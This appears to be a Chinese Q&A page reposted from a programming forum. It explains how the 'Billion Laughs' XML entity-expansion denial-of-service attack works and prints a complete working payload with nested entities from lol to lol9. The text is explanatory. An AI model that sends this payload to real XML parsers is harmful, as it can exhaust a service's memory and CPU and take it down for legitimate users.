xml – 十亿笑 – DoS攻击
发布时间:2020-12-16 01:55:22 所属栏目:百科 来源:网络整理
导读:!DOCTYPE root [ !ENTITY ha "Ha !" !ENTITY ha2 "ha; ha;" !ENTITY ha3 "ha2; ha2;" !ENTITY ha4 "ha3; ha3;" !ENTITY ha5 "ha4; ha4;" ... !ENTITY ha128 "ha127; ha127;" ] rootha128;/root 据说这叫做十亿笑DoS攻击。 有没有人知道它是如何工作的? Bill
<!DOCTYPE root [ <!ENTITY ha "Ha !"> <!ENTITY ha2 "&ha; &ha;"> <!ENTITY ha3 "&ha2; &ha2;"> <!ENTITY ha4 "&ha3; &ha3;"> <!ENTITY ha5 "&ha4; &ha4;"> ... <!ENTITY ha128 "&ha127; &ha127;"> ]> <root>&ha128;</root> 据说这叫做十亿笑DoS攻击。 有没有人知道它是如何工作的?
Billion Laughs攻击是针对XML解析器的拒绝服务攻击。 Billion Laughs攻击也被称为XML炸弹,或更深奥地,指数实体扩展攻击。即使使用格式良好的XML也可能发生Billion Laughs攻击,并且还可以传递XML模式验证。
在以下所示的XML文件中说明了vanilla Billion Laughs攻击。 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 在这个例子中,有10个不同的XML实体,lol-lol9。第一个实体,lol被定义为字符串“lol”。然而,每个其他实体被定义为另一个实体的10。此XML文件的文档内容部分仅包含对实体lol9的一个实例的引用。然而,当由DOM或SAX解析器解析时,当遇到lol9时,它被扩展为10个los,每个扩展为10个los,等等。到一切都被扩展到文本lol时,有100,000,000个字符串“lol”的实例。如果还有一个实体,或者lol被定义为10个“lol”字符串,则会有一个十亿的“lol”,因此攻击的名称。不用说,这种扩展消耗了指数数量的资源和时间,导致DOS。 我的blog有更广泛的解释。 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
推荐文章
站长推荐
- C语言解字符串逆序和单向链表逆序问题的代码示例
- ruby-on-rails – FactoryGirl:使用参数创建动态
- VB.net | 如何在程序中执行用户脚本以及进行代数
- c – std :: vector reserve方法是否需要Object类
- JaxbContext生成xml文件或java类对象转化注解
- 可复用策略Composite合成/Aggregate 聚合
- 在Oracle PLSQL中将date =明天设置为静态时间?
- DWR高级主题之反向Ajax(DWR3的轮询模式演示1)
- React.js 小书 Lesson13 - 渲染列表数据
- c# – ‘ManagementClass’不存在于命名空间’Sy
热点阅读